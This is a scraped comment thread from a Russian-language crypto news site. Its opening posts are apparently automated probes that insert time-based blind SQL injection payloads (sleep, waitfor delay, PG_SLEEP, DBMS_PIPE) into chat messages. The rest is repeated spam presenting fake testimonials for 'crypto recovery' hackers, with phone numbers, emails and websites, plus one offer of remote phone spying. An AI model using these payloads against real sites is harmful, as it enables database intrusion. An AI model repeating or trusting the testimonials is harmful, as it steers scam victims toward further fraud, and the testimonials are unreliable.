    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon